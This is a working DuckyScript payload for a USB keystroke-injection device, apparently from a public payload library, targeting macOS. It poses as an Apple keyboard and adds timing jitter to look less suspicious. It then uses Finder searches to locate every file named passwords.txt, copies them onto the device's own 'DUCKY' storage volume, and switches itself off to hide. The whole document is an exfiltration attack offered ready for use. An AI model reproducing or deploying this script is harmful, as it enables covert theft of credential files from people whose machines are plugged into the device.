Path: blob/master/payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/payload.txt
2971 views
REM ###################################################1REM # |2REM # Title : Exfiltrate Files through GUI mac |3REM # Author : Kile |4REM # Version : 1.0 |5REM # Category : Exfiltration |6REM # Target : MacOS |7REM # |8REM ###################################################910REM NOTE This is not unlikely to fail depending on the speed of search or if a large amount of files meet the criteria. Adjust DELAYs to your needs1112ATTACKMODE STORAGE HID VID_05AC PID_021E13DELAY 20001415REM the filename for the payload to look for16DEFINE #target passwords.txt1718REM Given that it uses the GUI it is a good idea to enable jitter to be less suspicious19$_JITTER_ENABLED = TRUE2021REM This function tabs the amount of times it takes from a finder search to go onto the first file result (4)22FUNCTION DO_TABS()23VAR $COUNTER = 024WHILE ($COUNTER < 4)25TAB26DELAY 10027$COUNTER = ($COUNTER + 1)28END_WHILE29END_FUNCTION3031REM Open finder32COMMAND SPACE33STRINGLN finder34DELAY 50035REM Command n spawns a new window. This makes sure there is only one finder tab (for tabbing to the files later)36COMMAND n3738REM Open search bar in finder39COMMAND f40DELAY 20041REM type target filename42STRING #target43DELAY 20044REM This specifies that the passwords.txt has to be a filename and not be in any file45DOWN46ENTER47ENTER4849REM Give a bit to find all files50DELAY 50051REM now 4 tabs to get to the first file result52DO_TABS()5354REM select all files that have the specified target in their name55COMMAND a56REM Copy the files57COMMAND c58DELAY 50059REM Go back to search window60COMMAND f61DELAY 20062REM Delete previous search63DEL6465REM Search for DUCKY USB66STRING DUCKY67DELAY 20068DOWN69ENTER70REM Specifies that the "DUCKY" has to be an external USB drive71STRING Volume72DELAY 20073DOWN74DOWN75DOWN76ENTER77ENTER78REM This can take annoyingly long to show up which is why the delay is so big79DELAY 60008081REM Go to first result82DO_TABS()8384REM Open the drive85COMMAND o86DELAY 100087REM This takes a few seconds8889REM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay90COMMAND v91DELAY 70009293REM Hide94ATTACKMODE OFF959697